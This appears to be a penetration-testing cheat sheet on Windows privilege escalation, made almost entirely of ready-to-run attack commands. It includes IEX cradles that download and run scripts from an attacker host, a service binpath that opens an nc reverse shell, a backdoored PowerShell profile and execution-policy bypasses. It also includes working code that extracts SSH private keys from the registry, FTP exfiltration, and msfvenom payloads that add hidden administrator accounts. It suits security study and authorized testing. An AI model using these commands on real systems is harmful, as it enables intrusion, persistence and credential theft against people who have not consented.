Privilege Escalation

Privilege Escalation

Hack Responsibly.

Always ensure you have explicit permission to access any computer system before using any of the techniques contained in these documents. You accept full responsibility for your actions by applying any knowledge gained here.

PowerShell Script Execution Policy Bypass Methods

Bypass Method	Description
Set-Executionpolicy Bypass	Administrator rights are required.
Set-ExecutionPolicy -Scope CurrentUser Bypass	Only works in the context of the current user but requires no Administrator rights.
Set-ExecutionPolicy Bypass -Scope Process	Works without Administrator rights and lasts for the duration of the current session.
Open .ps1 file in text editor. Copy all text in the file Paste into PowerShell	PowerShell will run each line of the script one at a time, essentially the same as running the script.
Echo <script_code> | PowerShell.exe -noprofile -	Similar to simply pasting the code.
cat $script.ps1 | PowerShell.exe -noprofile -	Effectively the same as the previous example, but the code is read from a script file instead of being pasted. cat is an alias for Get-Content.
function <name> { <code_here> }	Similar to the above examples, however you paste your code inside the curly braces, and run the code by typing the <name> of your function. Allows for code reuse without having to copy and paste multiple times.
PowerShell.exe -command "<code_here>"	Runs the string provided to the -c (Command) argument as code. If the value of the -Command parameter is -, the command text is read from standard input.
cat $script.ps1 | IEX	Pipes the content of the script to the Invoke-Expression cmdlet, which runs any specified string as a command and returns the results to the console. IEX is an alias for Invoke-Expression.
IEX { <code_here> }	Essentially creates a one-time use function from your code.
& { <code_here> }	The operator (&) is an alias for Invoke-Expression and is equivalent to the example above.
. { <code_here> }	The operator (.) can be used to create an anonymous one-time function. This can sometimes be used to bypass certain constrained language modes.
Invoke-Command -scriptblock { <code_here> } -ComputerName $Computer	Can be used to run commands against remote systems with the optional -ComputerName parameter if PowerShell remoting has been enabled.
$text = Get-Content $text_file -Raw $script = [System.Management.Automation.ScriptBlock]::Create($text) & $script	Using the .NET object System.Management.Automation.ScriptBlock we can compile any text content to a script block. Then, using (&) we can easily execute this compiled and formatted text file.
Echo IEX(New-Object Net.WebClient).DownloadString(http://$ip:$port/$filename.ps1) | PowerShell -NoProfile -	Download script from attacker's machine, then run in PowerShell, in memory. No files are written to disk.

Other Bypass Methods

Execute .ps1 scripts in memory

If you are able to use Invoke-Expression (IEX) you can execute remote scripts using the following command. You can also copy and paste the functions into your PowerShell session, so any functions become available to run. Notice the .ps1 extension. When using downloadString this will need to be a ps1 file to inject the module into memory.

IEX (New-Object -TypeName Net.WebClient).downloadString("http://$attacker_ip/$script.ps1")

This can also be done from a .bat script by calling powershell.exe.

powershell.exe -nop -c "IEX (New-Object -TypeName Net.WebClient).downloadString('http://$attacker_ip/$script.ps1")'

IEX is blocked from users in most cases and Import-Module is monitored by things such as EDR. Downloading files to a target's machine is not always allowed in a penetration test, so another method to use is Invoke-Command. This can be done using the following format.

Invoke-Command -ComputerName $computer -FilePath .'\$module.ps1m' -Credential (Get-Credential)

This will execute the file and its contents on the remote computer.

Another sneaky method would be to have the script load at the start of a new PowerShell window. This can be done by editing the $PROFILE file. The example script below can do this.

Write-Verbose "Creates powershell profile for user"
New-Item -Path $PROFILE -ItemType File -Force
<#
The $PROFILE vaiable will be either:
    - C:\Users\<username>\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
OR
    - C:\Users\<username>\OneDrive\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
depending on whether OneDrive is in use or not.
#>
<#
Running scripts in the PowerShell profile will import all of the commands 
everytime the backdoored user opens a PowerShell session. This means you will 
need to open a new powershell session after doing this in order to access 
the commands. I assume this can be done by just executing the "powershell" 
command though you may need to have a new window opened or new reverse/bind 
shell opened. You can also just reload the profile
#>

cmd /c 'copy \\$attacker_ip>\$script.ps1 $env:USERPROFILE\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.psm1

powershell.exe

# If this does not work try reloading the user profile.
& $PROFILE

Run script code as a function

Running the code from your PowerShell script inside a function will completely bypass script execution policies. Other code protection policies such as JEA may still stop certain cmdlets and code from running, however.

function $function_name {

#code goes here

}

Then you can re-use the code by just typing the function name.

Using the -EncodedCommand parameter

This is very similar to using the -c or -Command parameter, however, in this case all scripts are passed as a base64 encoded string. Encoding your script in this way helps to avoid all of the annoying parsing errors that you encounter when using the standard -Command parameter. This technique does not require any configuration changes or disk writes.

$command = "Get-Content $malicious_script"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

Disable ExecutionPolicy by Swapping out the AuthorizationManager

The function below can be executed via an interactive PowerShell console or by using the command switch. Once the function is called it will swap out the AuthorizationManager with null. As a result, the execution policy is essentially set to Unrestricted for the remainder of the session. This technique does not result in a persistent configuration change or require writing to disk. The change will be applied for the duration of the session, however.

function Disable-ExecutionPolicy 
{
    ($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}  

#Finally run the function to effectively disable the Execution Policy
Disable-ExecutionPolicy

Change Execution Policy in the Registry

Set-ItemProperty HKCU:\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell -Name ExecutionPolicy -Value Unrestricted

Sudo for Windows

There may be times when you know the credentials for another user, but can't spawn other windows. The sudo equivalent in PowerShell on Windows machines is the verb RunAs. It is not as simple to use as sudo, however.

runas

First run cmdkey /list. If this returns entries, it means that you may able to runas a certain user who stored their credentials in Windows.

runas /savecred /user:$domain\$username $command_to_run

This can be used in either cmd.exe or PowerShell.

runas PowerShell

Use the below PowerShell script to run commands as another user.

$secPassword = ConvertTo-SecureString "$password" -AsPlainText -Force
$myCreds = New-Object System.Management.Automation.PSCredential("$userName", $secpasswd)

[System.Diagnostics.Process]::Start("$command", $myCreds.Username, $myCreds.Password, $computerName)

Needs the password, username, command, and computername parameters in this example, which runs $command as the specified user.

PowerShell sudo script

https://docs.microsoft.com/en-us/powershell/scripting/learn/deep-dives/add-credentials-to-powershell-functions

Below is a PowerShell script that that will run a separate file as another user. You can then run a batch file, PowerShell script, or just execute a meterpreter binary as that user. The below function is to be run from a PowerShell prompt:

function sudo {

param(
[Parameter (Mandatory = $true)] [String]$UserName,
[Parameter (Mandatory = $false)] [String]$DomainName,
[Parameter (Mandatory = $false)] [String]$Password,
[Parameter (Mandatory = $true)] [String]$Script,
[System.Management.Automation.PSCredential]$Credential
)

#hard-coded $Password can be sniffed, beware
#$pw = ConvertTo-SecureString "$Password" -AsPlainText -Force
#$cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$DomainName\$UserName",$pw

<#
Using the $Credential parameter below allows for Windows to prompt for credentials.  
Use the above lines if a password needs to be passed in the command line.
#>

Start-Process Powershell -Credential $Credential -ArgumentList '-NoProfile -Command &{Start-Process $Script -verb RunAs}'
}

Example: sudo -UserName Administrator -Script C:\tmp\privesc.ps1 This will cause Windows to prompt for a password for the Administrator user, then run the privesc script. Can be used to run a command rather than a script.

Running this in a function will bypass Script Execution policies, though JEA may still give you trouble.

Services

Modify service binary path (link to persistence page)

If one of the groups you have access to has SERVICE_ALL_ACCESS in a service, then it can modify the binary that is being executed by the service. To modify it and execute nc you can do:

sc.exe config $service_Name binpath= "C:\nc.exe -nv $ip $port -e C:\WINDOWS\System32\cmd.exe"

#use SYSTEM privileged service to add your user to administrators group
sc.exe config $service_Name binpath= "net localgroup administrators <username> /add"

#replace executable with your own binary (best to only do this for unused services!)
sc.exe config $service_name binpath= "C:\path\to\backdoor.exe"

Service Permissions

Other Permissions can be used to escalate privileges:

• SERVICE_CHANGE_CONFIG: Can reconfigure the service binary

• WRITE_DAC: Can reconfigure permissions, leading to SERVICE_CHANGE_CONFIG

• WRITE_OWNER: Can become owner, reconfigure permissions

• GENERIC_WRITE: Inherits SERVICE_CHANGE_CONFIG

• GENERIC_ALL: Inherits SERVICE_CHANGE_CONFIG(To detect and exploit this vulnerability you can use exploit/windows/local/service_permissions in MetaSploit)

Check if you can modify the binary that is executed by a service. You can retrieve a list of every binary that is executed by a service using wmic (not in system32) and check your permissions using icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

You can also use sc.exe and icacls:

sc.exe query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Services registry permissions (TODO: link to persistence pages)

You should check if you can modify any service registry. You can check your permissions over a service registry doing:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Check if Authenticated Users or NT AUTHORITY\INTERACTIVE have FullControl. In that case you can change the binary that is going to be executed by the service. To change the Path of the binary executed: reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Unquoted Service Paths (TODO: link to persistence pages)

If the path to an executable is not inside quotes, Windows will try to execute every ending before a space. For example, for the path C:\Program Files\Some Folder\Service.exe Windows will try to execute:

C:\Program.exe 
C:\Program Files\Some.exe 
C:\Program Files\Some Folder\Service.exe

To list all unquoted service paths (minus built-in Windows services)

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

-or-

for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
    for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
        echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
    )
)

-also-

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

You can detect and exploit this vulnerability with metasploit using the module: exploit/windows/local/trusted_service_path You can manually create a service binary with msfvenom: msfvenom -p windows/exec CMD="net localgroup administrators $username /add" -f exe-service -o service.exe

Extract SSH Keys using PowerShell and Python

• https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

$path = "HKCU:\Software\OpenSSH\Agent\Keys\"

$regkeys = Get-ChildItem $path | Get-ItemProperty

if ($regkeys.Length -eq 0) {
    Write-Host "No keys in registry"
    exit
}

$keys = @()

Add-Type -AssemblyName System.Security;

$regkeys | ForEach-Object {
    $key = @{}
    $comment = [System.Text.Encoding]::ASCII.GetString($_.comment)
    Write-Host "Pulling key: " $comment
    $encdata = $_.'(default)'
    $decdata = [Security.Cryptography.ProtectedData]::Unprotect($encdata, $null, 'CurrentUser')
    $b64key = [System.Convert]::ToBase64String($decdata)
    $key[$comment] = $b64key
    $keys += $key
}

ConvertTo-Json -InputObject $keys | Out-File -FilePath './extracted_keyblobs.json' -Encoding ascii
Write-Host "extracted_keyblobs.json written. Use Python script to reconstruct private keys: python extractPrivateKeys.py extracted_keyblobs.json"

First run this as a PowerShell function, then use the Python script below to parse and decrypt the JSON

#!/usr/bin/env python

# Script to extract OpenSSH private RSA keys from base64 data
# Original implementation and all credit due to this script by soleblaze: 
# https://github.com/NetSPI/sshkey-grab/blob/master/parse_mem.py

import sys
import base64
import json
try:
    from pyasn1.type import univ
    from pyasn1.codec.der import encoder
except ImportError:
    print("You must install pyasn1")
    sys.exit(0)

def extractRSAKey(data):
    keybytes = base64.b64decode(data)
    offset = keybytes.find(b"ssh-rsa")
    if not offset:
        print("[!] No valid RSA key found")
        return None
    keybytes = keybytes[offset:]

    # This code is re-implemented code originally written by soleblaze in sshkey-grab
    start = 10
    size = getInt(keybytes[start:(start+2)])
    # size = unpack_bigint(keybytes[start:(start+2)])
    start += 2
    n = getInt(keybytes[start:(start+size)])
    start = start + size + 2
    size = getInt(keybytes[start:(start+2)])
    start += 2
    e = getInt(keybytes[start:(start+size)])
    start = start + size + 2
    size = getInt(keybytes[start:(start+2)])
    start += 2
    d = getInt(keybytes[start:(start+size)])
    start = start + size + 2
    size = getInt(keybytes[start:(start+2)])
    start += 2
    c = getInt(keybytes[start:(start+size)])
    start = start + size + 2
    size = getInt(keybytes[start:(start+2)])
    start += 2
    p = getInt(keybytes[start:(start+size)])
    start = start + size + 2
    size = getInt(keybytes[start:(start+2)])
    start += 2
    q = getInt(keybytes[start:(start+size)])

    e1 = d % (p - 1)
    e2 = d % (q - 1)

    keybytes = keybytes[start+size:]

    seq = (
        univ.Integer(0),
        univ.Integer(n),
        univ.Integer(e),
        univ.Integer(d),
        univ.Integer(p),
        univ.Integer(q),
        univ.Integer(e1),
        univ.Integer(e2),
        univ.Integer(c),
    )

    struct = univ.Sequence()

    for i in range(len(seq)):
        struct.setComponentByPosition(i, seq[i])
    
    raw = encoder.encode(struct)
    data = base64.b64encode(raw).decode('utf-8')

    width = 64
    chopped = [data[i:i + width] for i in range(0, len(data), width)]
    top = "-----BEGIN RSA PRIVATE KEY-----\n"
    content = "\n".join(chopped)
    bottom = "\n-----END RSA PRIVATE KEY-----"
    return top+content+bottom

def getInt(buf):
    return int.from_bytes(buf, byteorder='big')

def run(filename):
    with open(filename, 'r') as fp:
        keysdata = json.loads(fp.read())
    
    for jkey in keysdata:
        for keycomment, data in jkey.items():
            privatekey = extractRSAKey(data)
            print("[+] Key Comment: {}".format(keycomment))
            print(privatekey)
            print()
    
    sys.exit(0)


if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: {} extracted_keyblobs.json".format(sys.argv[0]))
        sys.exit(0)
    filename = sys.argv[1]
    run(filename)

File Transfers

Using FTP

Windows has an FTP client built in at C:\Windows\System32\ftp.exe that is already in PATH. You can open an FTP connection and transfer files directly between the attacker's machine from the command line. Most of the time the initial shell you get on a target won’t be interactive, which means running an command which requires further input from the user (e.g. text editor, FTP connection). This won’t work properly and can crash the shell. The trick is to create a file with all the FTP commands you need and run them all at once.

To set this up, you can authenticate with user anonymous and any random password (or if FTP account information is known, use that). Windows FTP can take a “script” of commands directly from the command line. This means if you create a text file called ftp_commands.txt on the system that contains this:

open 10.10.10.10
anonymous
<anypasswordhere>
binary
get $file_to_download
bye

Then you can simply run ftp -s:ftp_commands.txt and download a file with no user interaction. Use -i to disable interactive prompting during multiple file transfers. You can also use the put $file_to_upload command instead of get to send a file to the attacker's machine.

FTP batch script examples

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.10.10.1 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

or

echo "open <IP>" > ftp_commands.txt
echo "username" >> ftp_commands.txt
echo "password" >> ftp_commands.txt
echo "binary" >> ftp_commands.txt

echo "get <file1.exe>" >> ftp_commands.txt
echo "put <file2.exe>" >> ftp_commands.txt

echo "bye" >> ftp_commands.txt

ftp -s:ftp_commands.txt

Use "Get" if downloading, or "Put" if uploading.

SMB

First, create an SMB share using Impacket

impacket-smbserver -smb2support kali `pwd` # Share current directory
smbserver.py -smb2support name /path/folder # or share a specific folder

#For new Win10 versions you must specify credentials
impacket-smbserver -smb2support -user test -password test test `pwd`

Or create an SMB share using samba:

apt install samba
mkdir /tmp/smb
chmod 777 /tmp/smb

Then add the following to the end of /etc/samba/smb.conf:

[public]
    comment = Samba on Ubuntu
    path = /tmp/smb
    read only = no
    browsable = yes
    guest ok = Yes

Finally (re)start the Samba server

service smbd restart

Transfer files to/from the Windows victim

Connect to the remote share with net.exe

net use z: \\10.10.10.1\test /user:test test

Or using the New-PSDrive PowerShell cmdlet

New-PSDrive -Name "z" -PSProvider "FileSystem" -Root "\\10.10.10.1\test"

Download files with PowerShell

Using System.Net.WebClient

(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.26/shell.ps1', 'shell.ps1')

Using Invoke-WebRequest

Invoke-WebRequest -Uri 'http://10.10.14.26/shell.ps1' -OutFile 'shell.ps1'

Download and Execute in Memory

IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.14.26/shell.ps1')

Using .Net:

$url = "http://10.10.10.10/evil.exe"
$file = "evil.exe"

# Add the necessary .NET assembly
Add-Type -AssemblyName System.Net.Http

# Create the HttpClient object
$client = New-Object -TypeName System.Net.Http.Httpclient
$task = $client.GetAsync($url)
$task.wait();
[io.file]::WriteAllBytes($file, $task.Result.Content.ReadAsByteArrayAsync().Result)

Using Bitsadmin

PowerShell

First, you must import the BitsTransfer PowerShell Module with Import-Module BitsTransfer. After you import the BitsTransfer module, the following cmdlets are available:

• Add-BitsFile Adds files to a BITS transfer

• Complete-BitsTransfer Completes a BITS transfer

• Get-BitsTransfer Gets a BITS transfer

• Remove-BitsTransfer Stops a BITS transfer

• Resume-BitsTransfer Resumes a suspended BITS transfer

• Set-BitsTransfer Configures a BITS transfer job

• Start-BitsTransfer Creates and starts a BITS transfer job

• Suspend-BitsTransfer Pauses a BITS transfer job

For example, the following Windows PowerShell command begins a BITS transfer from the local computer to a computer named CLIENT:

Start-BitsTransfer -Source file.txt -Destination \\client\share -Priority normal

When running Windows PowerShell interactively, the PowerShell window displays the progress of the transfer. The following command uses an abbreviated notation to download a file from a Web site to the local computer:

Start-BitsTransfer https://server/dir/myfile.txt C:\docs\myfile.txt

Microsoft

cmd.exe

Using Certutil

The basic syntax for downloading a file:

certutil.exe -urlcache -split -f "http://$ip/$file" $file

You can also use syntax as below to create .bat scripts:

set url=https://www.nsa.org/content/hl-images/2017/02/09/NSA.jpg
set file=file.jpg
certutil -urlcache -split -f %url% %file%
#Or
certutil.exe -verifyctl -f -split %url% %file%

You can also use certutil to encode and decode a payload:

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

Using Microsoft Defender MpCmdRun.exe

• https://winaero.com/beware-microsoft-defender-mpcmdrun-exe-tool-can-be-used-to-download-files/

MpCmdRun.exe -DownloadFile -url $url_of_file -path $out_file_path

Also: See APT writeup for how to use this tool to retrieve machine account hash for total pwnage!

C# Command-line build with csc.exe:

• https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/command-line-building-with-csc-exe

using System;
using System.IO;

using System.Net.Http;
using System.Threading.Tasks;

namespace DownloadImage
{
    class Program
    {
        static async Task Main(string[] args)
        {
            using var httpClient = new HttpClient();
            var url = "http://10.10.10.10/evil.exe";
            byte[] imageBytes = await httpClient.GetByteArrayAsync(url);

            using var fs = new FileStream("evil.exe", FileMode.Create);
            fs.Write(imageBytes, 0, imageBytes.Length);

        }
    }
}

Users

Add User

net user hacker hack3dpasswd /add

Make User Admin

net localgroup administrators hacker /add

Get all members of "Domain Admins" group

net group "Domain Admins" /domain

Password brute force/domain user enumeration (kerbrute)

• https://github.com/ropnop/kerbrute

Dump password hashes (Metasploit)

msf > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE

Find admin users (Metasploit)

spool /tmp/enumdomainusers.txt
msf > use auxiliary/scanner/smb/smb_enumusers_domain
msf > set smbuser Administrator
msf > set smbpass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf > set rhosts 10.10.10.0/24
msf > set threads 8
msf > run

msf> spool off

Impersonate an administrator (meterpreter)

meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token MYDOM\\adaministrator
meterpreter > getuid
meterpreter > shell

Add a user

C:\> net user hacker /add /domain
C:\> net group "Domain Admins" hacker /add /domain

MISC

Covert to and from Base64 with PowerShell

Convert to base64

[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('whoami'))
# d2hvYW1p

Convert from base64

[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('d2hvYW1p'))
# whoami

Execute a base64 payload in powershell

powershell.exe -command "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('d2hvYW1p'))"
# hostname\username

Using Runas to execute commands as another user

PowerShell

First you have to create a credential object, and specify the computer to connect to. Can be used both locally and remotely.

$passwd = ConvertTo-SecureString "$Password" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("$UserName", $passwd)
$computer = "$ComputerName"
[System.Diagnostics.Process]::Start("$Commands", $creds.Username, $creds.Password, $computer)

cmd.exe

AlwaysInstall Elevated

Allows non-privileged users to run executables as NT AUTHORITY\SYSTEM. To check for this, query the AlwaysInstallElevated property of the HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer registry key

PowerShell

Using PowerShell drives:

#Query whether the key exists or not
Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer'
#-or-
Get-ItemProperty -Path Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer

#Read the value of the AlwaysInstallElevated property
Get-ItemPropertyValue -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer' -Name AlwaysInstallElevated

Using .Net:

1. Open the registry on the remote computer.

$Registry = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine', $Computername)

2. Open the SOFTWARE\Policies\Microsoft\Windows\Installer registry key.

$RegistryKey = $Registry.OpenSubKey("SOFTWARE\Policies\Microsoft\Windows\Installer", $true)

3. Use the GetValue() method to query the value of the registry key.

$RegistryKey.GetValue('AlwaysInstallElevated')

Using .NET rather than PowerShell drives (as above) is a bit faster and is an easy way to query registry keys and values on remote computers.

cmd.exe

msfvenom

msfvenom -p windows/adduser USER=bhanu PASS=bhanu123 -f msi -o create_user.msi

msiexec (on victim machine)

msiexec /quiet /qn /i C:\create_user.msi

Metasploit module

use exploit/windows/local/always_install_elevated

References

• http://vcloud-lab.com/entries/powershell/different-ways-to-bypass-powershell-execution-policy-ps1-cannot-be-loaded-because-running-scripts-is-disabled - @KunalAdapi

• https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/

• https://gitlab.com/pentest-tools/PayloadsAllTheThings/blob/master/Methodology and Resources/Windows - Privilege Escalation.md

• https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools

• https://adamtheautomator.com/powershell-get-registry-value/

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